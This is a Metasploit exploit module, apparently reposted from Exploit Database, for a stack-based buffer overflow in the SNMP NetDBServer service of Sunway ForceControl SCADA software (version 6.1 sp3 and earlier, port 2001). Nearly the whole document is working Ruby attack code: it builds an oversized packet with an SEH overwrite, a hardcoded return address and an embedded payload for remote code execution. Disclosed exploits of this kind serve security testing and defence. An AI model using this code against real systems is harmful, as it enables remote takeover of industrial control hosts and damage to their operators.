Sunway ForceControl – SNMP ‘NetDBServer.exe’ Opcode 0x57 (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-02-02
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18448/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57',
  			'Description'=> %q{
  					This module exploits a stack based buffer overflow found in the SNMP
  				NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is
  				triggered when sending an overly long string to the listening service
  				on port 2001.
  			},
  			'Author' => [
  						'Luigi Auriemma', # original discovery
  						'Rinat Ziyayev',
  						'James Fitts'
  					],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'BID', '49747' ],
  					[ 'URL', 'http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'DisableNops' => 'true',
  					'BadChars' => "\x0a\x0d\xae",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						# p/p/r ComDll.dll
  						'Windows', {'Ret' => 0x100022c4 }
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Sep 22 2011'))
  
  		register_options(
  			[
  				Opt::RPORT(2001)
  			], self.class )
  	end
  
  	def exploit
  		connect
  
  		header ="\xeb\x50\xeb\x50"
  		header << "\x57\x00"# packet type
  		header << "\xff\xff\x00\x00"
  		header << "\x01\x00"
  		header << "\xff"
  
  		footer = "\r\n"
  
  		packet = rand_text_alpha_upper(65535)
  		packet[0,header.length] = header
  		packet[293,8] = generate_seh_record(target.ret)
  		packet[301,20] = make_nops(20)
  		packet[321,payload.encoded.length] = payload.encoded
  		packet[65533,2] = footer
  
  		print_status("Trying target %s..." % target.name)
  
  		sock.put(packet)
  
  		handler
  		disconnect
  	end
  
  end